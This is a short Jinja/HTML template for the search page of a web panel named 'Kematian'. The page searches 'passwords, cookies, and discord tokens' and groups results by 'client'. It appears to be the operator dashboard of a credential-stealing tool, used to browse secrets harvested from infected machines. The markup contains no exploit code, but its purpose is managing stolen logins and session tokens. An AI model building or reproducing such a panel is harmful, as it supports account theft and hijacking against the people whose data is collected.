35 lines
1.0 KiB
HTML
35 lines
1.0 KiB
HTML
{% extends "base.html" %}
|
|
{% block title %}Search · Kematian{% endblock %}
|
|
{% block content %}
|
|
<div class="page-head">
|
|
<div>
|
|
<h1>Search</h1>
|
|
<p class="muted">Look for anything across passwords, cookies, and discord tokens.</p>
|
|
</div>
|
|
</div>
|
|
|
|
<form class="search-bar" method="get" action="{{ url_for('search') }}">
|
|
<input type="text" name="q" value="{{ q }}" placeholder="Search username, url, host, token..." autofocus>
|
|
<button type="submit" class="btn btn-primary">Search</button>
|
|
</form>
|
|
|
|
{% if q %}
|
|
<div class="table-card">
|
|
<table>
|
|
<thead><tr><th>Type</th><th>Detail</th><th>Client</th></tr></thead>
|
|
<tbody>
|
|
{% for r in results %}
|
|
<tr>
|
|
<td>{{ r.type }}</td>
|
|
<td class="mono">{{ r.detail }}</td>
|
|
<td><a href="{{ url_for('client_detail', client_id=r.client) }}" class="mono client-link">{{ r.client }}</a></td>
|
|
</tr>
|
|
{% else %}
|
|
<tr><td colspan="3" class="empty">No matches for "{{ q }}".</td></tr>
|
|
{% endfor %}
|
|
</tbody>
|
|
</table>
|
|
</div>
|
|
{% endif %}
|
|
{% endblock %}
|